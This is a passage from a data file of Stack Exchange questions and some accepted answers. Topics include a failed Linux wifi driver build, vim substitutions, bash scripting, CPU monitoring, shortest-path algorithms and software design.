/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_profile.o/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_profile.c: In function rtmp_read_multest_from_file:/qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_profile.c:2671:23: warning: unused variable pWdsEntry [-Wunused-variable]  PRT_802_11_WDS_ENTRY pWdsEntry;                       ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_asic.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/scan.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/cmm_cmd.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/uapsd.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/ps.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../rate_ctrl/ra_ctrl.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../rate_ctrl/alg_legacy.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../rate_ctrl/alg_ags.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../chips/rtmp_chip.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/txpower.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../mac/rtmp_mac.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../mgmt/mgmt_hw.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../mgmt/mgmt_entrytb.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../phy/rtmp_phy.o/qomDB/LinuxSTA_wifi/os/linux/../../phy/rtmp_phy.c: In function NICInitBBP:/qomDB/LinuxSTA_wifi/os/linux/../../phy/rtmp_phy.c:61:8: warning: unused variable R0 [-Wunused-variable]  UCHAR R0 = 0xff;        ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../phy/rlt_phy.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../phy/rlt_rf.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/ba_action.oIn file included from /qomDB/LinuxSTA_wifi/include/rtmp_os.h:44:0,                 from /qomDB/LinuxSTA_wifi/include/rtmp_comm.h:75,                 from /qomDB/LinuxSTA_wifi/include/rt_config.h:33,                 from /qomDB/LinuxSTA_wifi/os/linux/../../common/ba_action.c:30:/qomDB/LinuxSTA_wifi/os/linux/../../common/ba_action.c: In function convert_reordering_packet_to_preAMSDU_or_802_3_packet:/qomDB/LinuxSTA_wifi/include/os/rt_linux.h:886:34: warning: assignment makes integer from pointer without a cast [enabled by default]   ((RTPKT_TO_OSPKT(_pkt))->tail) = (PUCHAR)((_start) + (_len))                                  ^/qomDB/LinuxSTA_wifi/include/os/rt_linux.h:929:2: note: in expansion of macro SET_OS_PKT_DATATAIL  SET_OS_PKT_DATATAIL(__pRxPkt, __pData, __DataSize);      \\  ^/qomDB/LinuxSTA_wifi/os/linux/../../common/ba_action.c:1574:2: note: in expansion of macro RTMP_OS_PKT_INIT  RTMP_OS_PKT_INIT(pRxBlk->pRxPacket,  ^  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../mgmt/mgmt_ht.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../common/rt_os_util.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../os/linux/sta_ioctl.o  CC [M]  /qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.o/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c: In function RtmpOsUsDelay:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:179:8: warning: unused variable i [-Wunused-variable]  ULONG i;        ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c: In function duplicate_pkt:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:497:3: warning: passing argument 1 of memmove makes pointer from integer without a cast [enabled by default]   NdisMoveMemory(skb->tail, pHeader802_3, HdrLen);   ^In file included from ./arch/x86/include/asm/string.h:4:0,                 from include/linux/string.h:18,                 from include/linux/bitmap.h:8,                 from include/linux/cpumask.h:11,                 from ./arch/x86/include/asm/cpumask.h:4,                 from ./arch/x86/include/asm/msr.h:10,                 from ./arch/x86/include/asm/processor.h:20,                 from ./arch/x86/include/asm/thread_info.h:22,                 from include/linux/thread_info.h:54,                 from include/linux/preempt.h:9,                 from include/linux/spinlock.h:50,                 from include/linux/seqlock.h:35,                 from include/linux/time.h:5,                 from include/linux/stat.h:18,                 from include/linux/module.h:10,                 from /qomDB/LinuxSTA_wifi/include/os/rt_linux.h:31,                 from /qomDB/LinuxSTA_wifi/include/rtmp_os.h:44,                 from /qomDB/LinuxSTA_wifi/include/rtmp_comm.h:75,                 from /qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:32:./arch/x86/include/asm/string_64.h:58:7: note: expected void * but argument is of type sk_buff_data_t void *memmove(void *dest, const void *src, size_t count);       ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:499:3: warning: passing argument 1 of memmove makes pointer from integer without a cast [enabled by default]   NdisMoveMemory(skb->tail, pData, DataSize);   ^In file included from ./arch/x86/include/asm/string.h:4:0,                 from include/linux/string.h:18,                 from include/linux/bitmap.h:8,                 from include/linux/cpumask.h:11,                 from ./arch/x86/include/asm/cpumask.h:4,                 from ./arch/x86/include/asm/msr.h:10,                 from ./arch/x86/include/asm/processor.h:20,                 from ./arch/x86/include/asm/thread_info.h:22,                 from include/linux/thread_info.h:54,                 from include/linux/preempt.h:9,                 from include/linux/spinlock.h:50,                 from include/linux/seqlock.h:35,                 from include/linux/time.h:5,                 from include/linux/stat.h:18,                 from include/linux/module.h:10,                 from /qomDB/LinuxSTA_wifi/include/os/rt_linux.h:31,                 from /qomDB/LinuxSTA_wifi/include/rtmp_os.h:44,                 from /qomDB/LinuxSTA_wifi/include/rtmp_comm.h:75,                 from /qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:32:./arch/x86/include/asm/string_64.h:58:7: note: expected void * but argument is of type sk_buff_data_t void *memmove(void *dest, const void *src, size_t count);       ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c: In function ClonePacket:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:650:20: warning: assignment makes integer from pointer without a cast [enabled by default]   pClonedPkt->tail = pClonedPkt->data + pClonedPkt->len;                    ^In file included from /qomDB/LinuxSTA_wifi/include/rtmp_os.h:44:0,                 from /qomDB/LinuxSTA_wifi/include/rtmp_comm.h:75,                 from /qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:32:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c: In function RtmpOsPktInit:/qomDB/LinuxSTA_wifi/include/os/rt_linux.h:886:34: warning: assignment makes integer from pointer without a cast [enabled by default]   ((RTPKT_TO_OSPKT(_pkt))->tail) = (PUCHAR)((_start) + (_len))                                  ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:669:2: note: in expansion of macro SET_OS_PKT_DATATAIL  SET_OS_PKT_DATATAIL(pRxPkt, pData, DataSize);  ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c: In function wlan_802_11_to_802_3_packet:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:695:15: warning: assignment makes integer from pointer without a cast [enabled by default]  pOSPkt->tail = pOSPkt->data + pOSPkt->len;               ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c: In function __RtmpOSFSInfoChange:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:1121:20: error: incompatible types when assigning to type int from type kuid_t   pOSFSInfo->fsuid = current_fsuid();                    ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:1122:20: error: incompatible types when assigning to type int from type kgid_t   pOSFSInfo->fsgid = current_fsgid();                    ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c: In function RtmpDrvAllRFPrint:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:2052:4: warning: passing argument 2 of file_w->f_op->write from incompatible pointer type [enabled by default]    file_w->f_op->write(file_w, pBuf, BufLen, &file_w->f_pos);    ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:2052:4: note: expected const char * but argument is of type UINT32 */qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:2037:22: warning: unused variable macValue [-Wunused-variable]  UINT32 macAddr = 0, macValue = 0;                      ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:2037:9: warning: unused variable macAddr [-Wunused-variable]  UINT32 macAddr = 0, macValue = 0;         ^/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c: In function RtmpOSIRQRelease:/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.c:2173:21: warning: unused variable net_dev [-Wunused-variable]  struct net_device *net_dev = (struct net_device *)pNetDev;                     ^make[2]: *** [/qomDB/LinuxSTA_wifi/os/linux/../../os/linux/rt_linux.o] Error 1make[1]: *** [_module_/qomDB/LinuxSTA_wifi/os/linux] Error 2make[1]: Leaving directory `/usr/src/kernels/3.10.0-514.16.1.el7.x86_64'make: *** [LINUX] Error 2I really don't know how can i solve it. please Help me"  , "title": "Problem on installing alink MT7601U Wireless Adapter on centos 7"  , "tags": "centos;wifi"  } 
{  "id": "_datascience.20252"  , "question": "I have a short time series of daily counts ( 6 days = 6 counts : 12, 15, 69, 35, 97, 107). This looks like a rapid increase from its initial count of 12.What are some of the statistical techniques to detect such large increases in short time period? rapid increases and short time period are rather loose terms, but, I am looking for techniques where these can be 'parameters' that I can provide.  For example, short period could be 5 days. 'Rapid increase' could be 20% increase day-to-day or 90% increase in 5 days...something like that.Suggestions are appreciated."  , "title": "Detect rapid increase in time series"  , "tags": "time series;anomaly detection"  } 
{  "id": "_unix.376135"  , "question": "I have a chromebook (which is crap for trying to run any file) and I want to find a free online Linux Shell that I can use to run some of my programs. Don't need much data, just something that has python3, pip3, and git. Not looking to put down any money because I'm purely a hobbyist when it comes to programming."  , "title": "Free linux shells?"  , "tags": "shell;ssh"  } 
{  "id": "_webapps.85580"  , "question": "How can I manage the list people who show up on my calendar on their birthdays?I also want each birthday reminder to show the age the person is turning that day.Should I be using a different calendar?"  , "title": "Only show important birthdays on Google Calendar"  , "tags": "google calendar"  , "accepted_answer": "Google Calendar simply shows the birthdays of your Google Contacts. There is no way to restrict what people are displayed except by removing the birthday data from your Contacts.(Of course, there's nothing stopping you from creating a calendar with just the birthdays of the important people you want to see. That's what I used to do before Calendar started reading from Contacts.)Google also does not have an option to show the age someone is going to be with their birthday entry on your calendar.You'll need to find another calendar to do that (if one exists). Finding such an app is beyond the ken of this site, however."  } 
{  "id": "_unix.90211"  , "question": "I want to use a linux OS on my Nintendo DS Lite. Tried to use the DSLinux, but it turned the device into white and non-responsive screens! Went on IRC channel and got the advice to learn C and solve the DSLinux problem!!!. So the question here is how I can peacefully get an operating system that I can run on my DS lite. The following steps created the error: Got the file dslinux.tgz from http://www.dslinux.org/builds/.Unzipped the file and moved its folder into a SD card. Inserted the SD within R4SDHC adaptor card and turned on the DS. Went to its folder and chose the Linux Logo. Then both screen went white. "  , "title": "A Linux Distribution for Nintendo DS Lite"  , "tags": "linux;dsl"  } 
{  "id": "_unix.299752"  , "question": "I'm creating a custom syntax highlighter for a markup-like language that I created to accomplish some natural language manipulation stuff, so I thought I'd get started with the simple keywords, seeing as I don't need to come up with regexes for them.I've defined the following in the XML:<language id=foo _name=Foo version=2.0 _section=Source>  <metadata>    <property name=mimetypes>text/x-c;text/x-csrc;image/x-xpixmap</property>    <property name=globs>*.foo</property>  </metadata>  <styles>    <style id=operator _name=Operator map-to=def:keyword />    <style id=member _name=Member map-to=def:type />  </styles>  <definitions>    <context id=members style-ref=member>      <keyword>ref</keyword>      <keyword>alt</keyword>      <keyword>pos</keyword>      <keyword>num</keyword>    </context>    <context id=operators style-ref=operator>      <keyword>#</keyword>      <keyword>$</keyword>      <keyword>@</keyword>      <keyword>[</keyword>      <keyword>]</keyword>      <keyword>:</keyword>      <keyword>=</keyword>      <keyword>:?</keyword>      <keyword>&amp;</keyword>    </context>    <!--Main context-->    <context id=opal class=no-spell-check>      <include>        <context ref=members />        <context ref=operators />      </include>    </context>  </definitions></language>The syntax does highlight, but only on some odd conditions. Specifically, any keyword in the operators context must be both preceded by and followed by a non-keyword character, lest it will fail to highlight.ScreencapShould I be using a regex for these or did I just botch the XML? Also, why do the members keywords highlight without issue?"  , "title": "Custom syntax highlighting misbehaving in gedit"  , "tags": "xml;gedit;syntax highlighting"  } 
{  "id": "_softwareengineering.241191"  , "question": "Coming from C++ originally and seeing lots of Java programmers doing the same we brought namespaces to JavaScript. See Google's closure library as an example where they have a main namespace, goog and under that many more namespaces like goog.async, goog.graphicsBut now, having learned the AMD style of requiring modules it seems like namespaces are kind of pointless in JavaScript. Not only pointless but even arguably an anti-pattern. What is AMD? It's a way of defining and including modules that removes all direct dependencies. Effectively you do this// some/module.jsdefine([    'name/of/needed/module',    'name/of/someother/needed/module',  ], function(     RefToNeededModule,     RefToSomeOtherNeededModule) {  ...code...  return object or function});This format lets the AMD support code know that this module needs name/of/needed/module.js and name/of/someother/needed/module.js loaded. The AMD code can load all the modules and then, assuming no circular dependencies, call the define function on each module in the correct order, record the object/function returned by the module as it calls them, and then call any other modules' define function with references to those modules.This seems to remove any need for namespaces. In your own code you can call the reference to any other module anything you want. For example if you had 2 string libraries, even if they define similar functions, as long as they follow the AMD pattern you can easily use both in the same module. No need for namespaces to solve that.It also means there's no hard coded dependencies. For example in Google's closure any module could directly reference another module with something like var value = goog.math.someMathFunc(otherValue) and if you're unlucky it will magically work where as with AMD style you'd have to explicitly include the math library otherwise the module wouldn't have a reference to it since there are no globals with AMD. On top of that dependency injection for testing becomes easy. None of the code in the AMD module references things by namespace so there is no hardcoded namespace paths, you can easily mock classes at testing time.Is there any other point to namespaces or is that something that C++ / Java programmers are bringing to JavaScript that arguably doesn't really belong?"  , "title": "With AMD style modules in JavaScript is there any benefit to namespaces?"  , "tags": "javascript;modules;namespace"  } 
{  "id": "_codereview.69779"  , "question": "I use this Bash script to rename specified files to all lowercase letters:#!/bin/bashusage() {    test $# = 0 || echo $@    echo Usage: $0 [OPTION]... FILE...    echo    echo Rename files to all lowercase letters.    echo    echo   -n, --dry-run         Dry run, show what would happen    echo    echo   -h, --help            Print this help    echo    exit 1}args=dryrun=offwhile [ $# != 0 ]; do    case $1 in    -h|--help) usage ;;    -n|--dry-run) dryrun=on ;;    --) shift; while [ $# != 0 ]; do args=$args \\$1\\; shift; done; break ;;    -?*) usage Unknown option: $1 ;;    *) args=$args \\$1\\ ;;    esac    shiftdoneeval set -- $argstest $# -gt 0 || usagefor path; do    test -e $path || continue    origfile=$(basename $path)    newfile=$(tr '[:upper:]' '[:lower:]' <<< $origfile)    origdir=$(dirname $path)    origpath=$origdir/$origfile    newpath=$origdir/$newfile    test $origpath != $newpath || continue    echo $path -> $newpath    test $dryrun = on || mv -i -- $path $newpathdoneIs there a better way I missed? Anything to improve?(This script, along with many other utility scripts I use are on GitHub.)"  , "title": "Rename files to all lowercase letters"  , "tags": "bash;file system"  } 
{  "id": "_vi.6378"  , "question": "Imagine I have the following text:some random stuff* asdf* foo* barsome other random stuffI want to replace the asterisk bullets with numbers, like so:some random stuff1. asdf2. foo3. barsome other random stuffHow can this be done in vim ?"  , "title": "Replace a series of asterisk bullet points with a numbered list"  , "tags": "substitute;filetype markdown;count;markup;range"  , "accepted_answer": "You could try the following command::let c=0 | g/^* /let c+=1 | s//\\=c.'. 'First it initializes the variable c (let c=0), then it executes the global command g which looks for the pattern ^* (a beginning of line, followed by an asterisk and a space).Whenever a line containing this pattern is found, the global command executes the command:let c+=1 | s//\\=c.'. 'It increments the variable c (let c+=1), then (|) it substitutes (s) the previous searched pattern (//) with the evaluation of an expression (\\=):the contents of variable c concatenated (.) with the string '. 'If you don't want to modify all the lines from your buffer, but only a specific paragraph, you can pass a range to the global command.For example, to modify only the lines whose number is between 5 and 10::let c=0 | 5,10g/^* /let c+=1 | s//\\=c.'. 'If you have a file containing several similar lists which you want to convert, for example something like this:some random stuff                 some random stuff                      * foo                             1. foo                                 * bar                             2. bar                                 * baz                             3. baz                                 some other random stuff           some other random stuff                                           ==>                                                some random stuff                 some random stuff                      * foo                             1. foo                                 * bar                             2. bar                                 * baz                             3. baz                                 * qux                             4. qux                                 some other random stuff           some other random stuff                You can do it with the following command::let [c,d]=[0,0] | g/^* /let [c,d]=[line('.')==d+1 ? c+1 : 1, line('.')] | s//\\=c.'. 'It's just a variant of the previous command, which resets the variable c when you switch to another list. To detect whether you are in another list, the variable d is used to store the number of the last line where a substitution was made.The global command compares the current line number (line('.')) with d+1. If they are the same, it means we are in the same list as before so c is incremented (c+1), otherwise it means we are in a different list, so c is reset (1).Inside a function, the command let [c,d]=[line('.')==d+1 ? c+1 : 1, line('.')] could be rewritten like this:let c = line('.') == d+1 ? c+1 : 1let d = line('.')Or like this:if line('.') == d+1    let c = c+1else    let c = 1endiflet d = line('.')To save some keystrokes, you could also define the custom command :NumberedLists, which accepts a range whose default value is 1,$ (-range=%):command! -range=% NumberedLists let [c,d]=[0,0] | <line1>,<line2>g/^* /let [c,d]=[line('.')==d+1 ? c+1 : 1, line('.')] | s//\\=c.'. 'When :NumberedLists will be executed, <line1> and <line2> will be automatically replaced with the range you used.So, to convert all the lists in the buffer, you would type: :NumberedListsOnly the lists between line 10 and 20: :10,20NumberedListsOnly the visual selection: :'<,'>NumberedListsFor more information, see::help :range:help :global:help :substitute:help sub-replace-expression:help list-identity    (section list unpack):help expr1:help :command"  } 
{  "id": "_unix.59417"  , "question": "I compiled a short bash one-liner to focus a running application or launch it if it isn't running:#!/bin/bash#intellilaunch.shwmctrl -a $1 || $1 & disownexit 1The command exits perfectly fine when run directly from the command line::~$ wmctrl -a firefox || firefox & disown[1] 32505A quick check with the system monitor shows that only firefox is running. However, when I launch firefox via the script (./intellilaunch.sh firefox) it spawns a persisting new process called intellilaunch.sh firefox, which only exits after closing firefox.What am I doing wrong?Edit:I modified my script according to michas' suggestion:#!/bin/bashprogram=$(basename $1)if ! wmctrl -a $program; then  $1&fiNot a one-liner anymore but it works perfectly fine now!"  , "title": "Why won't my bash script exit after execution?"  , "tags": "bash;exit"  , "accepted_answer": "I cannot reproduce this behavior on my system. From your description is sounds like there is a process not properly set to background.Try to run as bash -x intellilaunch.sh xclock, this should show, what is going on.Also || binds stronger than &, therefore you send the whole pipe in background. Maybe an explicit if would be a good idea.Your wmctrl -a firefox || firefox & disown ; exit 1is interpreted as( wmctrl -a firefox || firefox ) & disown ; exit 1whereas you probably meantwmctrl -a firefox || ( firefox & disown ) ; exit 1 Beause of that, bash will start two jobs one with wmctl and firefox - and another one with disown and exit. As the background job needs a short time to launch it will probably start the commands slighly later, that is why the output of bash -x seems to be in the wrong order."  } 
{  "id": "_unix.105988"  , "question": "I'm running on a minimal Ubuntu server 12.04.3 install and I installed a d-link DWA-160 usb wifi adapter as per the instructions shown in this page.After successfully connecting using these instructions (I basically ping google to confirm that I'm connected), I try to run apt-get update but end up getting what appears to be a kernel panic every time I do. The connection does not seem stable during the update process. For instance, as I'm typing this I've tried again and it seems stuck at :9% [4 Release 3,980B/49.6 kB 8%][Waiting for headers][Waiting for headers]I usually get a kernel panic shortly thereafter.  I'll try to provide info as needed. "  , "title": "Kernel panic on apt-get upgrade with DWA-160"  , "tags": "networking;apt;kernel panic"  , "accepted_answer": "Given the symptoms (crashes when there's a lot of network traffic, and you happen to be using a custom network driver), it's a bug in the network driver.From the page you link:DWA 160 is also know to freeze under heavy network load. When this happens, the only solution is to unplug and replug the key. Till date this bug has not been corrected.Because of all that, this wifi key is not, at this time, a very good deal for Linux users.Report a bug to the providers of the driver. This isn't something that can be worked around, other than not using the driver or using a fixed version of the driver."  } 
{  "id": "_cs.66116"  , "question": "Is there an efficient algorithm which computes the (possibly approximately) shortest $n$-edge path between two points $A$ and $B$ in a weighted complete graph? Dijkstra won't work because it will just give the trivial answer of $A\\to B$. I'd like to find an $n$-edge path (e.g. for $n=4$, find $C$, $D$ and $E$ which minimize total path length of $A\\to C\\to D\\to E\\to B$)."  , "title": "Shortest path between two points with n hops"  , "tags": "graphs;shortest path;traveling salesman"  , "accepted_answer": "If vertices can be visited more than once, then yes: you can create $n+1$copies of the graph, with each vertex $v$ in the original graph becoming the $n+1$ vertices $v_1, \\dots, v_{n+1}$ and each edge $uv$ in the original graph becoming the set of edges $u_iv_{i+1}$ for all $1 \\le i \\le n$; now run Dijkstra on the resulting graph with start vertex $A_1$ and end vertex $B_{n+1}$.  Intuitively, each edge traversed in any path necessarily takes you to the next level of the graph.If vertices cannot be visited more than once, then there's no known poly-time algorithm, since setting setting $n$ to one less than the number of vertices would solve the NP-hard Hamiltonian Path problem.  (Although the HP problem technically asks for any path that visits all vertices exactly once, a poly-time algorithm for the simple-paths version of your problem would nevertheless give you a poly-time algorithm for HP: just run it $O(n^2)$ times, one for each possible pair of start and end vertices.)"  } 
{  "id": "_softwareengineering.220209"  , "question": "My project involves validating and normalising email addresses in this format[userpart]@[domainpart].[tld]After syntactic validation of the address, [tld] is checked to exist, otherwise the validation fails.After validation, [userpart] and [domainpart] are normalised into a 32-bit numeric ID called [partid] (one for each part), partid and the part string are permanently stored on disk when new strings are discovered. 4 bytes seems the most sensible for each as 3 bytes is not enough (there are around 200 million registered domain names just now).To process lists of new emails quickly, I've been using Judy arrays (JudySL to be exact, http://judy.sourceforge.net/doc/index.html) , where the part string is mapped to the part id. I've used Judy Arrays  as I know how to use them and they generally perform well, although they are not thread safe which is a slight drawback (I use mutexes to get round that). There's no collisions that I'd get with a hash table... which reduces complexity somewhat.However they seem to be taking up a much larger proportion of memory than I'd like, so my question is what would you suggest as a better storage method?Example case:64-bit system (Debian based)150,000,000 parts, averaging around 8 bytes each, 12 bytes total when including the partid~1.67GB for that data in itself~5.1GB used by JudyPerhaps worth noting that the emails are evaluated after being converted to punycode format.Input would come in lists varying between 10K and 1M rowsInserts on-demand, when a new [part] is found, ++partid is assigned as its partid and partid,part are written to diskNo deletes required, only inserts and lookups.So I need around 3x more memory than disk space in order to convert [~8-byte-string] to an int.Is there any better(*) data structures that I should be considering?(* by better, I'd hope for reasonably fast, with a smaller memory footprint and preferably something pre-written like a library...)UpdateThe TL;DR of my original question... converting a variable length string to a 32 bit INT.Strictly speaking the userpart is case sensitive but from what I understand the standard implementation is to ignore case. In that case (no pun), there are 56 valid characters in either punycoded domain part, or 6 bits worth.I'm thinking I can sacrifice 1-bit to indicate direct conversion of string->int without a lookup table, which will allow conversion back too. The bit would be switched on when this can occur and would prevent collisions with lookups, leaving 31 bits for data, and 2^31 IDs for all other domain parts that don't fit.I was messing around with fixed length 4-5-6 bit length codes based on the least frequent character, but huffman encoding would seem to (obviously?) win out in the long run and avoids a 2nd pass of the input string. Here's some data based on the char distribution across those 150m parts.http://pastebin.com/DTrUWSnaHuffman manages to have yahoo, gmail and even hotmail squeezed into 31 bits which is excellent. 6.1% of all parts can be mapped this way.With the same huffman encoding, a further 70.5% can be mapped to 63 bits which'd allow a fixed length int key->value list. This should save on memory (I'll try report back)That leaves less than 25% of all parts to be mapped still. This new layout should help a lot for saving on memory, thanks for the suggestions so far."  , "title": "Most suitable data structure for in-memory string -> int conversion for variable length strings"  , "tags": "data structures"  } 
{  "id": "_softwareengineering.277852"  , "question": "Option 1:At first I would make a call to my service layer, which served as an API for my core domain, to get a domain object or a list of domain objects and then pass them into the assembler which would construct the DTOs I needed for my view. The problem I have with this approach are cases where the domain object is large and I don't want to load in the whole object just to copy a few fields needed for the DTO (ie showing a list of summaries entities). Option 2:The next approach I used was to wire in a repository (for read-only purposes) into my assembler so that I could only query the database for the fields I need in the DTO. I can also use this repository when I get a DTO and need to use it to update and entity. For example, a DTO filled will values I need to update on my entity comes into my assembler, the assembler looks up the entity from a repository and then overlays the information from the DTO on the entity and then returns the entity. The controller then calls the service layer to save the entity that the assembler returned.Option 3:I could wire in the repositories directly into the controllers but something about exposing the repository in the controller seems wrong to me because the service layer should be handling transactions and security, but then again, if I put a repository in the assembler I am basically doing the same thing.Any thoughts are welcome. I just want to understand pros and cons and what has worked well for others."  , "title": "What is the best way to create DTOs from entities and update entities from DTOs in a layered architecture?"  , "tags": "design patterns;entity;domain driven design;dto"  } 
{  "id": "_webmaster.92855"  , "question": "In an automated email from Google's Search Console...1 Add all your website versionsMake sure you add separate Search Console properties for all URL variations that your site supports, including https, http, www, and non-www.What does ... site supports ... mean?I'm trying to do what Google suggests in this knowledge base article about using canonical URLs, but it isn't totally clicking in my head just yet. My end goal is that I want Google to understand my site is available at https://www.example.com/ and every other permutation is incorrect. Should I add http://www.example.com/, http://example.com/, and https://example.com/ as properties to my Google Search Console?I think I have (correctly) set up my .htaccess file so that all naked and/or http requests will be 301'd to www. prefixed and https requests.public_html/.htaccess<IfModule mod_rewrite.c>RewriteEngine OnRewriteCond %{HTTP_HOST} !^www\\.RewriteRule ^(.*)$ https://www.%{HTTP_HOST}/$1 [R=301,L]RewriteCond %{HTTPS} !=onRewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]</IfModule>"  , "title": "Google Search Console - Which Properties Should I Add?"  , "tags": "google search console"  , "accepted_answer": "As Google clearly says, you should add all versions of your site as followshttp://example.comhttp://www.example.comand the 2 https versions.  What does ... site supports ... mean?Well, it means whatever URLs are supported by your site i.e. are served by your site. Google will treat each of them differently and you have to keep checking all the four to ensure that most of your traffic is moving to your canonical property i.e. https://www version in your case.I would suggest you add all four, and periodically keep checking - Doing by practice is sometimes the best way to clear your head."  } 
{  "id": "_unix.166263"  , "question": "I am trying to measure the cpu usage of my ubuntu machine and if the cpu usage is more than 60%, then I need to find out the process who has the highest cpu usage and then send out an email saying CPU usage is more than 60% and with the process name which has the highest cpu usage.When I do top this is what I see. Cpu0  :  20.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%stCpu1  :  34.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%stCpu2  :  17.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%stCpu3  :  20.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%stI came up with the below script which only finds out the cpu load but not the cpu usage. How do I achieve above thing?#!/bin/bashtop -bn1 | grep load | awk '{printf CPU Load: %.2f\\n, $(NF-2)}' To send an email, I use below command and it works for me - echo Body | mailx -r david@host.com -s SUBJECT david@host.com"  , "title": "Find the process which is taking maximum CPU usage if CPU usage is more than 60%?"  , "tags": "shell script;performance;top"  , "accepted_answer": "using awk:ps aux --sort=-%cpu | awk 'NR==1{print $2,$3,$11}NR>1{if($3!=0.0) print $2,$3,$11}' > some_file.txtthe above code will give all program with non-zero cpu usage. will give you pid,%cpu, command_nameif you want cpu usage greater than equal to 60 replace $3!=0.0 to $3>=60I have saved the output in file some_file.txt. you can cat the file and pipe it to mail command.try like this: to send mailcat some_file.txt | mailx -r david@host.com -s SUBJECT david@host.com"  } 
{  "id": "_webapps.91799"  , "question": "I want to automatically, once a day, retrieve all (or all new) messages from a Facebook Page where I have admin rights.I have investigated using Graph API, but in order to use this, I need to create an app. Moreover, in order to read messages, I need the 'read_page_mailboxes' permission. As far as I can understand, I need to demonstrate a proper app by screencast to the facebook team to get this permission granted, as explained here:https://support.ladesk.com/704852-How-to-submit-Facebook-application-for-reviewI don't have any such app, as I just plan to retrieve the messages by a web service interface.I have also investigated digi.me, which is a third-party tool that can take backups of the messages to a PC. The sync with facebook can by automated. The problem is that it is only possible to manually export the content out of the internal application storage, it can't be scheduled.Do anyone know any way to periodically and automatically retrieve messages from Facebook Pages? Any method would be fine: commercial third-party tools, automatic forwarding to email, whatever works."  , "title": "How can I retreive messages from Facebook Pages?"  , "tags": "facebook;facebook pages;facebook chat"  } 
{  "id": "_cs.47769"  , "question": "I know this might sound like a newbie question, but bear with me.I have read a paper where researchers use a random forest to predict species distribution, but in their study, they only predict a new set of points given an old set and a map of environmental variables. https://www.uam.es/proyectosinv/Mclim/pdf/MBenito_EcoMod.pdfI would like to replicate these results, only using a random forest to predict a new set of vectors given a set of vectors (the seal migrations) and some environmental variables in map form (a scalar field).My plan would be to prepare the training data as each vector paired with the environmental variables (ocean surface temperature, ocean currents, etc.) at the head and tail of that vector. Would a random forest be able to, given this type of data, predict a new set of vectors if I feed it a new map of environmental variables? Is this even the right way to go about this? Thanks so much, I really appreciate anyone's feedback and or criticism."  , "title": "Using the random forest algorithm to predict vectors"  , "tags": "machine learning;trees;randomized algorithms;neural networks;statistics"  } 
{  "id": "_softwareengineering.251756"  , "question": "We have been building custom software for one of our customer for a few years now. Everything is going well so far.However the customer always has an attitude that when they find a bug in the software, then they are getting really pathetic and complain that they are now really disappointed with the quality of the software: Because if they found this one bug then there surely must be other bugs, so they assume that the quality of the software is getting worse. It's almost like a proof by induction: If there is one then there must be many.To me, there can always be bugs (the software is part of their CRM solution, so nothing like software used to run airplanes, nuclear reactors, etc.) Obviously, we have various means of testing, but we (or the customers) are not testing everything, so bugs can slip through. Which is OK in my opinion.But how would you react to such a pathetic and emotional response? I am always totally speechless when they start this way."  , "title": "Customer is deeply disappointed in our software because of one bug. How to reply?"  , "tags": "code quality;bug;customer relations"  , "accepted_answer": "It sounds like for the most 